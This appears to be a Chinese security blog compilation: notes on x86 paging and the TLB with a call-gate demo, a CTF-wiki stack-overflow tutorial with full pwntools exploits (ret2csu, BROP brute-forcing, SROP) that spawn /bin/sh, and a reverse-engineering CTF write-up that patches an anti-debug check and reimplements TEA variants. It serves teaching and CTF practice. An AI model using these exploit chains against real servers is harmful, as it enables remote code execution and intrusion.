概念:

缓存类型

首先要有的理解是,CPU读数据写数据都是优先读写缓存的(L1,L2,L3);

同时,一行64B,作为缓存行;

0 -> 无缓存,直接从内存条拿数据;

1 -> 写合并,对于写这一过程,取L1缓存行没取到,取L2取到了,那么写到L2的同时,给L1添加相同缓存行,一次4个地址(intel);

6 -> 回写,根据计数器被写回到内存条(先写回L1);

4 -> 直写,写到缓存后,同时同步到主存(从L1,L2,L3一路同步过去);

7 -> 弱无缓存;

5 -> 写保护,只读,不可写;

利用写合并的特性,可以一定程度上提升CPU效率(比如一个特别大的循环里只一次性赋值4个值,可以多循环几次,这样比循环一次赋多值更快!)(疑似无效了?);

写保护和 R/W 位实际上是一个东西;

对于只读的页属性有一个有意思的地方,这里先给出前置知识:

  1. 虚拟地址管理(VAD)会给出当前虚拟地址所拥有的属性(保护模式下的段概念);

    这个属性里也有RWE,同时有一个写时拷贝的属性;

  2. 同一路径同一名称的dll被不同exe加载,使用的物理页一样,虚拟地址不一样而已;

  3. 使用VirtualProtect改的属性实际上是VAD指向的属性,页属性不做变化;

当VAD的属性是可写的时候,而指向的物理页的R/W或者写保护位是不可写的时候,操作系统触发页异常,此时会查看VAD里面的写时拷贝属性,如果为1(写时可拷贝),那么就进行异常处理:将物理页分成两份,并给写到的物理页属性变为可写,此时两份dll内存才分开;

写时拷贝的意义在于只有改变时才进行隔离,因为不改变时,两份相同的没有意义,只用一份即可,所以直观看起来,每个进程的模块也是独立的,实则不然;

PAT: 页属性表,当此位为1时,该页用于管理缓存的属性;

PCD: 页缓存关闭,当此位为1时,不用缓存;

PWT: 页直写,为1就是直写模式(适用于多媒体实时更新);

TLB

一般分两种类型 ITLB,DTLB;

I是指令,D是数据,它们的TLB不是同一个,是分开的;

这两类又细分小页(4KB)TLB和大页(2MB,4MB)TLB;

大页的概念:由PDE直接寻址,即二级页表指向的直接就是一个大的页面,PDE.ps属性为1;

32位下,TLB内部存放的格式大概如图:

虚拟页帧 物理页帧 属性 次数

页帧的概念就是不加页内偏移的其余部分;

我们之前说过,TLB快表的存在的意义就是加速物理地址访问,省去映射过程,省去内存中的页表结构访问过程;

如何证明它是存在的呢?正常而言,它的过程和效果就和映射,查看页表一样,对于我们人来说是不可见的;

但接下来这个实验可以证明TLB真实存在;

我们分配两个地址空间,分别是a和b的内容,然后我们分别把这两个地址挂到虚拟0地址;

接下来分别访问两次0地址,如果两次访问结果内容相同,就说明是有TLB存在的;

因为访问过一次以后,它会把对应TLB关系写入TLB内,第二次访问它直接拿0地址去TLB寻址返回对应的物理页帧,而不再重新映射一遍;

我们这两次访问要足够快,不然TLB就把记录给刷掉了;

所以选择使用中断门进行手动修改和访问,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
// test.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include<Windows.h>

BYTE*A,*B;
int a,b;

void _declspec(naked) test()
{
__asm
{
pushad
pushfd
push 0x30
pop fs

mov eax, [A]
shr eax,9
and eax, 0x7ffff8
add eax, 0xc0000000 //获取A的PTE

mov ecx,[eax]
mov dword ptr ds:[0xc0000000],ecx //挂到0地址,不用管高位

mov eax, dword ptr ds:[0]
mov [a],eax

mov eax, [B]
shr eax,9
and eax, 0x7ffff8
add eax, 0xc0000000 //获取B的PTE

mov ecx,[eax]
mov dword ptr ds:[0xc0000000],ecx //挂到0地址,不用管高位

mov eax, dword ptr ds:[0]
mov [b],eax

push 0x3b
pop fs
popfd
popad
retf
}
}

int _tmain(int argc, _TCHAR* argv[])
{
char bufcode[6] = {0,0,0,0,0x48,0};
A = (BYTE*)VirtualAlloc(0,0x1000,MEM_COMMIT,PAGE_READWRITE);
B = (BYTE*)VirtualAlloc(0,0x1000,MEM_COMMIT,PAGE_READWRITE);
*A = 'a';
*B = 'b';
printf("A地址: %p\n",A);
printf("B地址: %p\n",B);
printf("A: %c\n",*A);
printf("B: %c\n",*B);

system("pause");

__asm
{
call fword ptr bufcode
}

printf("a: %c\n",a);
printf("b: %c\n",b);
system("pause");

return 0;
}

实验结果如下:

TLB结果

这说明TLB确实存在,不信可以仔细看看代码;

在指令中,有一个指令 [invlpg 地址],指定刷掉TLB中的对应虚拟地址;

控制寄存器

32位如图(64位也有它们):

CR

CR1是保留寄存器没有使用;

CR2存放的是页异常虚拟地址,用于告知14号中断是哪个线性地址出了异常,中断调用没有形参;

CR3存放页表基址,以及标记该进程的缓存属性;

CR0:

PG是页模式开启,PE是段模式开启,在保护模式下默认都是1;

EM,MP,NE,ET是和数学,浮点数,错误相关,不太重要;

TS是任务段,在任务段内TS置为1;

CD置一,那么全部没有缓存,是缓存总开关,NW置一,所有都不直写;

WP,保护写,写权限的总开关,置为0强行写任意页;

AM,r3环境下的对齐,64位下,为1那么CR4里面的SMAP,SMEP生效;

CR4:

VME,开启虚拟8086模式;

PVI,开启虚拟8086模式下的模拟中断;

TSD,如果为1,r3可以调用rdtsc指令,否则报错;

DE,如果为1,DR4=DR6 DR5=DR7,否则访问DR5,DR4异常(调试寄存器);

PSE,如果为1,大页有效,大页总开关;

PAE,如果为1,那么29912,否则101012;

MCE,机器检查中断(0x12中断)有效位;

PGE,如果为1,页的G位有效,否则无效;

PCE,监控事件开关;

VMXE,如果为1,开启VT;

SMXE,如果为1,开启上帝模式;

OSFXSR,OSXMMEXCPT,UMIP,LA57,OSXSAVE与浮点相关;

FSGSBASE,FS可以不通过段解析拆分,rdmsr指令直接获取fs基址;

PCIDE,每个进程的CR3是否有缓存;

SMEP,SMAP -> super mode (execute/access),如果为1,r0不可以执行和访问r3;

CET, 无用;

PKS,PKE,是否加密页表;

阅读全文
栈溢出进阶

所用题目可在中级ROP - CTF Wiki (ctf-wiki.org)找到;

ret2csu

对于X64(amd64)程序,函数传参为rdi,rsi,rdx,rcx,r8,r9,然后是栈;

而x64程序中有这样一个系统自带函数 __libc_csu_init,这个函数是用来对 libc 进行初始化操作的;

这个函数里面有许多可以利用的gadget,可以控制一些寄存器,可以用一道题来进行演示(level5);

image.png

分析后很简单的一个栈溢出,没了,什么都没有,只有一个我们上面提到的__libc_csu_init可以利用;

image.png

我也不知道为什么ida翻译过来的内容是这样的,而且这段代码还不能直接利用pop rdi ret(拆开pop r15机械码),很奇怪;

思路为:

  • 获取libc基址;
  • 拿system地址;
  • 拿binsh地址;
  • 执行system(binsh);

编写exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

#write和read的libc函数地址对应指针(got表)
write_addr = 0x601000
read_addr = 0x601008
main = 0x400564
#__libc_csu_init中的利用
pop_rbx_egg_gadget = 0x400606
dx_si_di_gadget = 0x4005F0

p = process('./level5')

#第一步,获取libc基址
#执行write函数需要三个变量 rdi为1(写到标准输出)rsi为写入内容 rdx为长度 write(1,"ddd",len);
#所以需要先控制这三个寄存器内容为1,和write_addr,以及8!
# 返回到利用 未知偏移 rbx rbp r12 r13-edi r14-rsi r15-rdx ret
payload = b'a'* 0x88 + p64(pop_rbx_egg_gadget) +p64(0) + p64(0) + p64(1) + p64(write_addr) + p64(1) + p64(write_addr) + p64(8) + p64(dx_si_di_gadget)
#这个时候已经把我们想要的寄存器给改了,同时执行call [r12 + rbx*8],执行write后,绕过rbp与rbx的判断,此时应该返回main
payload += p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(main)
p.recv()
p.sendline(payload)
#拿到libc基址 第一步完成
write_in_libc = u64(p.recvuntil("Hello, World\n")[:8])
libc.address = write_in_libc - libc.sym['write']

#通过libc拿system和binsh
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']

print('binsh:',hex(binsh),' system:',hex(system))

#第二步,执行system
#因为只能控制edi,binsh的完整地址放不进去,可以先写到bss段,因为bss段长度没那么大,可以使用edi
#同时call [r12 + rbx*8] 需要的是函数指针,所以也可以把system地址写过去
bss = 0x0601028
# read(0,bss,16);
payload = b'a'* 0x88 + p64(pop_rbx_egg_gadget) +p64(0) + p64(0) + p64(1) + p64(read_addr) + p64(0) + p64(bss) + p64(16) + p64(dx_si_di_gadget)
payload += p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(main)
p.sendline(payload)
p.send(p64(system) + b'/bin/sh\x00')
p.recv()

#此时我们有了函数指针以及小地址的binsh字符串;
#利用call [r12 + rbx*8] 执行system(/bin/sh)
payload = b'a'* 0x88 + p64(pop_rbx_egg_gadget) +p64(0) + p64(0) + p64(1) + p64(bss) + p64(bss+8) + p64(0) + p64(0) + p64(dx_si_di_gadget)
p.sendline(payload)

p.interactive()

在wiki上,作者提到了对ret2csu的改进,思路是尽量不改变使用的寄存器的值且提前改变,进行多次利用,节省ROP空间;

ret2reg

原理

  • 查看溢出函数返回时哪个寄存值指向溢出缓冲区空间;
  • 然后反编译二进制,查找 call reg 或者 jmp reg 指令,将 EIP 设置为该指令地址(gadget利用);
  • reg 所指向的空间上注入 Shellcode (需要确保该空间是可以执行的,但通常都是栈上的);

这里解释下JOP和COP的含义:jump oriented programming, call oriented programming;

在ret2csu中,我们最后利用的一次payload实际上就是COP,思路类似;

BROP

全名:blind return oriented programming;

攻击条件

  • 源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
  • 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果)。目前 nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的。

攻击原理

目前,大部分应用都会开启 ASLR、NX、Canary 保护;

基本思路

在 BROP 中,基本的遵循的思路如下

  • 判断栈溢出长度
    • 暴力枚举
  • Stack Reading
    • 获取栈上的数据来泄露 canaries,以及 ebp 和返回地址。
  • Blind ROP
    • 找到足够多的 gadgets 来控制输出函数的参数,并且对其进行调用,比如说常见的 write 函数以及 puts 函数。
  • Build the exploit
    • 利用输出函数来 dump 出程序以便于来找到更多的 gadgets,从而可以写出最后的 exploit。

由于程序崩溃会重新启动,且地址一样,cannary一样,所以可以通过溢出崩溃进行爆破;

而寻找gadget需要一些技巧:

  • 寻找 stop gadget:所谓stop gadget一般指的是这样一段代码:当程序的执行这段代码时,程序会进入无限循环,这样使得攻击者能够一直保持连接状态(用于之后测试gadget地址);当找到一段gadget之后,程序继续执行返回到这段连接状态地区时,程序一直连接,证明找到一段可用的gadget;
  • 识别gadget:将可利用的gadget称之为probe等待测试,此外还需要找到stop(stop gadget地址)和trap(导致程序崩溃地址);利用stop和trap的不同摆放栈上的位置可以探测出,probe里面的内容,比如:
    • probe,trap,stop,traps:通过这个样子找到只是弹出一个栈变量的gadget(崩溃了就不是,没崩溃就说明找到了);

相当于在识别gadget时,只需要确定stop之前有几个trap,就能知道pop了几次,同时如果要确认probe本身不是一个stop,则需要二次确认,在probe后方全部添加为trap,如果崩了,说明probe找对了,否则就被误导了;

在ret2csu的__libc_csu_init函数后面的那一串pop称之为brop gadget,因为它的特征很明显,一次性pop 6次,所以在找的时候尽量去找brop gadget,因为其他找到的gadget无法识别它到底pop的是哪个寄存器!通过brop gadget,可以控制rsi,edi;

寻找plt表利用函数:

为什么是找plt而不直接找got呢?因为plt在got内存之前,在很多段之前,从程序基址找起,第一次找到的就是它;

对于plt表,如果我们发现了一系列的长度为 16 的没有使得程序崩溃的代码段,那么我们有一定的理由相信我们遇到了 plt 表(使用了它的函数);除此之外,我们还可以通过前后偏移 6 字节,来判断我们是处于 plt 表项中间还是说处于开头;

关于plt表的格式问题公式化套路:最后一次调用函数成功的地址减6为真实plt表地址;

之后就会利用strcmp来控制rdx的值,进而使用打印函数;

判断strcmp的方法也简单:控制前两个参数为可读地址,它才能正确执行,否则崩溃;

之后就是寻找输出函数;

寻找put有一个公式:

其中addr为爆破地址;

如果能打印出elf,就说明找对了输出函数;

1
payload = b'a'*length +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)

实现攻击

以一道题为例子: HCTF2016 的出题人失踪了

没有二进制文件,直接用脚本进行测试:

测试溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

def testStack(payload):
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
p.sendline(payload)
return p.recv()

for i in range(1,0x100):
try:
res = testStack(b'a'*i)
print(res)
except EOFError:
print('this is length: ',i,' .')
print(res)
break

当i = 73时,发生EOF报错,同时没有出现cannary报错,说明72之后为返回地址;

寻找stop gadget

此时开始寻找关键判断内容:stop gadget;

因为原程序本身就有一个等待输入的部分,所以可以思考能否返回到再次输入的部分呢?

这个样子就构成了stop gadget,同时也能再一次进行输入利用,相当于返回了一次main;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

overflowlen = 72

#从40W开始,400590,400591,400595,0x400596 linux会崩掉
for i in range(0x400597,0xffffffffffffffff):
try:
print(hex(i))
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
payload = b'a' * overflowlen + p64(i)
p.sendline(payload)
res = p.recv()
#测试发现程序崩溃后不会打印之后的字符串
if res == b'WelCome my friend,Do you know password?\n':
print('stop gadget: ',hex(i))
exit(0)
p.close()
except Exception:
p.close()

#stop gadget: 0x4005c0

利用如上脚本得到一个stopgadget地址;

识别brop gadget

利用之前的原理寻找连续6pop的的地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

overflowlen = 72
stop = 0x4005c0
trap = 0x400000

#已经确认744之前无brop gadget 不是recv timeout就是linux崩
for i in range(0x40074a,0xffffffffffffffff):
try:
#都会导致linux崩溃
#if i == 0x400590 or i == 0x400591 or i == 0x400595 or i == 0x400596 or i == 0x4005cc or i == 0x4005cb:
if i == 0x4006f2 or i == 0x400700 or i == 0x400734:
continue
print(hex(i))
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
payload = b'a' * overflowlen + p64(i) + p64(trap) + p64(trap)+ p64(trap)+ p64(trap)+ p64(trap)+ p64(trap) + p64(stop) + p64(trap)
p.sendline(payload)
res = p.recv(timeout = 2)

if res == b'WelCome my friend,Do you know password?\n':
#判断探针i是否本身就是一个stop
p.close()
try:
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
payload = b'a' * overflowlen + p64(i) + p64(trap) + p64(trap)+ p64(trap)+ p64(trap)+ p64(trap)+ p64(trap) + p64(trap) + p64(trap)
p.sendline(payload)
res = p.recv(timeout = 2)
except Exception:
print('brop gadget: ',hex(i))
exit(0)
p.close()
continue
p.close()
except Exception:
p.close()

#brop gadget: 0x4007ba

可以找到brop gadget的地址;

同时这道题的csu pop是正常的,不是mov再给rsp减38h,是连着pop的,所以可以用pop rdi之前提及到的这种小技巧;

接下来就是找函数了;

确定put plt地址

image

上图是关于brop gadget的利用,直接通过brop gadget地址 + 9获取 pop rdi ret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

overflowlen = 72
stop = 0x4005c0
trap = 0x400000
brop_gadget = 0x4007ba
pop_rdi_ret = brop_gadget + 9

for i in range(0x400000,0xffffffffffffffff):
print(hex(i))
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
#公式
payload = b'a'*overflowlen + p64(pop_rdi_ret) + p64(0x400000) + p64(i) + p64(stop)
p.sendline(payload)
try:
res = p.recv()
if res.startswith(b'\x7fELF'):
print('put_addr: ',hex(i))
break
p.close()
except Exception:
p.close()

#put_addr: 0x400555

至此获取put导入表中的地址,但这里获取的是调用put之前的一段代码,我们需要找到最后一次调用put成功的段减去6的偏移(plt表的结构问题),才是put在导入表中真正的地址!

在经过一轮测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

overflowlen = 72
stop = 0x4005c0
trap = 0x400000
brop_gadget = 0x4007ba
pop_rdi_ret = brop_gadget + 9

#从第一次执行put开始
for i in range(0x400555,0xffffffffffffffff):
print(hex(i))
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
#公式
payload = b'a'*overflowlen + p64(pop_rdi_ret) + p64(0x400000) + p64(i) + p64(stop)
p.sendline(payload)
try:
res = p.recv()
if res.startswith(b'\x7fELF'):
print('put_addr: ',hex(i))
p.close()
except Exception:
p.close()

通过测试可以知道最后一次通过判断是put_addr: 0x400566;

那么put的plt地址为0x400560;

泄露put got地址

用put泄露地址,要注意它是把内存按照字符串进行打印,遇到00会截断;

所以定义一个函数,按一段内存进行泄露;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

overflowlen = 72
stop = 0x4005c0
trap = 0x400000
brop_gadget = 0x4007ba
pop_rdi_ret = brop_gadget + 9
put_plt = 0x400560

def leak(start,end):
data = b''
i = start
while(1):
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
payload = b'a'*overflowlen + p64(pop_rdi_ret) + p64(i) + p64(put_plt) + p64(stop)
p.sendline(payload)
try:
res = p.recvuntil(b"\nWelCome",timeout = 2)
res = res[:-8]
data = data + res + b'\x00'
i = i + len(res) + 1
p.close()
except Exception:
p.close()
if i >= end:
break
return data

#从put_plt往后0x100个字节,当然也可以从40W开始
res = leak(put_plt,put_plt+0x100)

with open('codess','wb') as f:
f.write(res)

之后用ida打开codess重定位到400560:

image.png

能够拿到put的got表地址在0x601018;

之后就是getshell了;

最终的EXP

思路为获取libc基址,调用system,结束;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

overflowlen = 72
stop = 0x4005c0
trap = 0x400000
brop_gadget = 0x4007ba
pop_rdi_ret = brop_gadget + 9
put_plt = 0x400560
put_got = 0x601018

#泄露基址
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
payload = b'a'*overflowlen + p64(pop_rdi_ret) + p64(put_got) + p64(put_plt) + p64(stop)

p.sendline(payload)
res = p.recvuntil(b'\nWelCome')
put_addr_in_libc = u64(res[:-8].ljust(8,b'\x00'))
libc.address = put_addr_in_libc - libc.sym['puts']

#获取binsh和system
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']

#执行system
p.recv()
payload = b'a'*overflowlen + p64(pop_rdi_ret) + p64(binsh) + p64(system) + p64(stop)
p.sendline(payload)
p.interactive()

总结一下,这道题实际上没有开cannary,没有开pie,如果开了,需要先爆破cannary,之后寻找程序基址;

如果开了PIE,就比较棘手了,首先确定put调用的方法需要换了,除非有找到程序基址的方法;

CTF WIKI上没有明确提出如果有PIE如何解决的问题;

其实可以通过获取的stop gadget地址(回到输入的地址)来推测是否开启PIE,大概确定一个基址的范围(用于设置起点快速遍历);

确定put的方法可以直接把40W打印出ELF改为打印BROP gadget处的特征码就行了,可以不用确定基址;

之后还是照常做就行;

Stack Smash

原理

当发生栈溢出时, libc会调用一个函数: __fortify_fail 传参为 stack smashing detected 字符串;

同时这个函数会打印文件名(环境变量),这个文件名存在main函数栈的下方,所以栈溢出可以覆盖到;

适用版本为 glibc < 2.27;

补充:环境变量时存放在栈上的,同时libc里有一个符号叫 environ,它存放了环境变量地址,通过libc基址可拿到 environ地址,通过environ地址可拿到环境变量地址,也就是栈上的地址;

利用

可以读取内存中的字符串信息,将其覆盖到对应栈位置;

所以如果有题目在内存中读取了flag,可以思考利用这个;

SROP

sigreturn oriented programming(面向sigreturn的编写),sigreturn 是一个系统调用,它在unix系统发生signal时会被间接调用,信号机制(中断);

原理

内核向进程发起一个signal,该进程被挂起(阻塞态),CPU进入内核态;

内核为其保存上下文,跳转相应的signal handler(一个函数,处理的时候继承挂起进程的内存空间,用户态,由进程本身定义编写)进行处理;

处理程序执行完毕,切入进程,恢复其上下文,继续执行;

Linux下,内核会帮用户进程将其上下文保存在它的栈上,然后在栈顶给到地址:rt_sigreturn,这个函数中会执行sigreturn系统调用;当signal handler执行完后,会返回去执行sigreturn;

出现的问题:

  • sigreturn也是用户态执行;
  • 上下文恢复不会检测,直接用,覆盖了的话,寄存器信息就变了;

利用

跳过前两步(内核给到signal,保存上下文),手动编写SROP链(自己写的上下文信息以及rt_sigreturn地址),手动的return到sigreturn,自动的帮我们恢复我们定义的上下文,从而控制程序流;

rt_sigreturn在i386下,存放于vdso,而在x64下,int 15就可以直接系统调用它;

主要利用x64下的,其SROP构造如下:

image.png

在pwntools里给出了关于SROP的利用:

1
2
3
4
5
6
7
8
9
#记得架构给到
context.arch = 'amd64'
#注意覆盖空间要够大,这个frame有0x100的大小
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = binsh_addr
frame.rip = syscall
frame.rsi = 0 #函数return覆盖 int 15
payload = b'a'*0x10 + p64(mov_rax_15_ret) + p64(syscall) + bytes(frame)

当禁用59 execve时,通过orw(open read write)获取flag;

阅读全文
2024-强网拟态-easyre

题目附件:https://pan.baidu.com/s/1qEbEZ_xdS33hOiExvLR7ng?pwd=3457

一个exe程序,直接拖到ida里,发现没有main,很混乱,直接猜测上了自解密 + 混淆花指令;

根本看不到伪代码,硬啃汇编罢;

image.png

不打算修,太多了,直接调,函数列表搜索scan,可以拿到库函数:

?scan_optional_field_width@?$format_string_parser@D@__crt_stdio_input@@AEAA_NXZ

在这个函数里打上断点,可以在输入内容的时候断下,然后一层一层的往上层函数断点测试:

可以找到最终的scanf调用实际上使用了下面这个函数:

??$?RV_lambda_a81aa23bb2c9577c1e55b9d0b57d9de4_@@AEAV_lambda_9a20e10065b92b5193c3597a66cba9d4_@@V_lambda_cb3a421ff86d8a5f008440ee6b28fa9c_@@@?$__crt_seh_guarded_call@H@@QEAAH$$QEAV_lambda_a81aa23bb2c9577c1e55b9d0b57d9de4_@@AEAV_lambda_9a20e10065b92b5193c3597a66cba9d4_@@$$QEAV_lambda_cb3a421ff86d8a5f008440ee6b28fa9c_@@@Z_1

也是一个库函数,接着这个函数往下走,可以走到一个神奇的地方,我称之为中转站,也是找到虚拟机的特征,操作码一类的东西:

image.png

这个rax实际上就是一个操作码,每次都有不同的功能,在前几次调试测试会发现,第一次调用call之后,就会打印wrong flag;

而当rip在这个地方的时候往栈上看,能发现我们输入的内容:

image.png

对着我们输入的地址按x查看引用能找到一个地方,调过去能发现这是第一次call会执行的,再次调试能够知道实际上是在调用strlen函数,它将strlen给到rax,然后call rax,过了中转站之后第二次call就会打印wrong flag:

image.png

对着strlen再继续跟下去会得知flag长度是56;

如果长度是正确的,第一次call完之后,剩下的call就开始循环了,貌似在操作输入的字符串;

通过每三次call,可以发现它是一个动作,每三次rdx都会加2,当加到70h之后变成新的循环;

实际上也就是以56为一个循环,一共要循环两次,但是调试的时候发现第一次循环没有对输入的内容做修改,而第二次循环会对输入的内容替换为用7F去减去它本身的值(通过观察栈上的值);

这56长度的循环结束之后,会有一个短循环,一共call 26次,第25次就会输出wrong flag,第26次进入结束程序;

通过调试可以发现,这26次里面,在对输入的内容进行分组加密,每8字节为一组,应该是电码本模式,因为56个a加密的东西分组的很明显:

image.png

对8个字节的分组加密部分也是3次call为一个动作,一共执行21次,把7个分组都加密完,剩下的4次call很可能就是用来进行判断的;

跟踪剩下的call可以发现很难看,很多都是没用的跳转,所以结合着打上内存断点,可以找到如下内容:

WTJ4QTO33P_YL308F_A~_CJ.png

image.png

它会依次获取加密后的输入数据,以及比较数据?这个比较数据每次都在变化,然后进行比较,通过调试改值,可以一路改下去,然后就能够使得程序输出right flag的字符串,打到这个时候其实已经就很有信心能出了;

为什么直接引用outandin地方的地址不能直接x获取到这些被引用的地方呢?

是因为这个混淆做了一个表,它每次要获取地址的时候,都是用代码段上的立即数去加或者减这个表里的无意义的数据,得到一个可用的地址,这样就防止了地址引用的查询,但是还是逃不过内存断点;

使用如下ida的python脚本进行更改比对值且输出比较内容:

1
2
3
ea=get_reg_value("r8")
print(hex(ea))
set_reg_value(ea, "rdx")

对打印的内容进行整理拿到如下比较hex:

1
BE 44 7B 02 BA 95 4B 8C E3 A8 F1 90 FB CD A4 3C 2F EE 9E 68 79 AA 6D ED 85 B0 77 2F 27 3F 41 FF 1F C1 CF 43 AA 00 AC FA 71 43 57 09 51 BA F7 B2 67 96 52 47 A0 50 40 C7

现在要做的就是查看分组加密算法了,回到当时加密的部分,一步一步的跟踪看过去,发现程序会去操作两个寄存器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
算法逻辑:

ecx 给到12345678h 异或 ffffffff 与上 4C4CDB01 -> 4C488901 xor ffffffff -> B3B776FE

eax 给到12345678h 加上 B3B324FE 异或 ffffffff -> EDCFFB87

ecx = ecx & eax = A1877286 = B3B776FE & EDCFFB87

eax = ecx = ecx xor 0xffffffff = 5E788D79

eax xor 0xffffffff = A1877286

ecx = ecx & 4CD6DA30 xor 0xffffffff = B3AF77CF -> 12AE5749 -> EDD9AEF6

eax = eax & 0B32925CF xor 0xffffffff = 5EFEDF79 xor ffff -> ED51A8B6 -> 8C1128B0 -> 61C88646 ->9E3779B9

那最终经过一段又臭又长的小丑代码膨胀之后,你会拿到eax会变成 0x9e3779b9;

包是tea里面的delta,弟弟;

通过进一步调试我能拿到如下栈帧内容:

image

能够拿到key和轮次,那么直接把三个tea都拿来试,试完可以发现是xtea(不是tea和xxtea);

写逆运算,直接拿到不可见字符,太棒了,我逐渐理解一切;

思考是否是因为有反调试在搞我,于是尝试用ida附加进程,发现附加不上,很大可能;

拿CE进行附加调试,可以发现最终的比较数据发生了变化,同时我们输入计算的结果也发生了变化(千万别用其他算法搞我):

image

第一个思路是找idata段(iat表)用到了反调试的哪些函数,可以找到疑似的如下:

1
2
.idata:00007FF704979060 20 7F B1 DD F8 7F 00 00       IsDebuggerPresent 
.idata:00007FF704979038 00 11 B1 DD F8 7F 00 00 GetSystemTimeAsFileTime

对其进行x引用反查并下断点,能够发现不是他们的原因(不会断下来);

接着对ida里进行search,搜索字节块,直接搜索hex 60 (对于静态反调试而言,PEB结构很重要,32位是fs:30 64位是gs:60)

然后在搜索的结果里ctrl+f筛选gs,果然给找到了:

image.png

之后在这里给下个断点,ida调试一启动程序就到这里来,先把eax改成0,然后把上面一条句子改成xor eax,eax nop nop;

就可以不用管这个地方了;

之后还是一样的调试,能够发现第一轮56长度循环的时候对输入做改动了,对输入的每个字节进行加40h,第二轮循环还是老样子,分组tea也是老样子(还好没变,变了我要把出题人给草草了),然后比较的数据也变了,内容就是ce里面的,说明ce附加调试是正确的数据,用之前的方法再提一遍数据:

1
a1 e3 51 98 86 56 76 49 6f 6b 2b 81 cf ce 12 96 a2 70 35 3c 31 62 5c f1 fa 77 6b aa 9e 6d 05 be e8 24 a4 f8 db 23 3a 0b 16 20 cc 03 ad b5 2b a9 34 9f 78 1d 2e b9 f9 9e

这次数据就是正确的了;

反思:拿到怪玩意儿先找反调试,不然后期恶心死我;

之后写脚本进行flag获取:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#include<iostream>
using namespace std;

typedef unsigned int DWORD;

void teaE(DWORD* EntryData, DWORD* Key)
{
//分别加密数组中的前四个字节与后4个字节,4个字节为一组每次加密两组
DWORD x = EntryData[0];
DWORD y = EntryData[1];

DWORD sum = 0;
DWORD delta = 0x9E3779B9;
//总共加密32轮
for (int i = 0; i < 0x66; i++)
{
sum += delta;
x += ((y << 4) + Key[0]) ^ (y + sum) ^ ((y >> 5) + Key[1]);
y += ((x << 4) + Key[2]) ^ (x + sum) ^ ((x >> 5) + Key[3]);
if(i==0)
printf("%d轮:v0: %x v1: %x\n", i, x, y);
}
//最后加密的结果重新写入到数组中
EntryData[0] = x;
EntryData[1] = y;
}

void xteaE(DWORD v[2], DWORD const key[4]) {
unsigned int i;
DWORD v0 = v[0], v1 = v[1], sum = 0, delta = 0x9E3779B9;
for (i = 0; i < 0x66; i++) {
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
//if (i == 0)
//printf("%d轮:v0: %x v1: %x\n", i, v0, v1);
}
v[0] = v0; v[1] = v1;
}

#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

void xxtea(DWORD* v, int n, DWORD const key[4])
{
DWORD y, z, sum;
unsigned p, rounds, e;

rounds = 0x66;
sum = 0;
z = v[n - 1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++)
{
y = v[p + 1];
z = v[p] += MX;
}
y = v[0];
z = v[n - 1] += MX;
if (rounds == 0x66)
printf("%d轮:v0: %x v1: %x\n", rounds, y, z);
} while (--rounds);

}
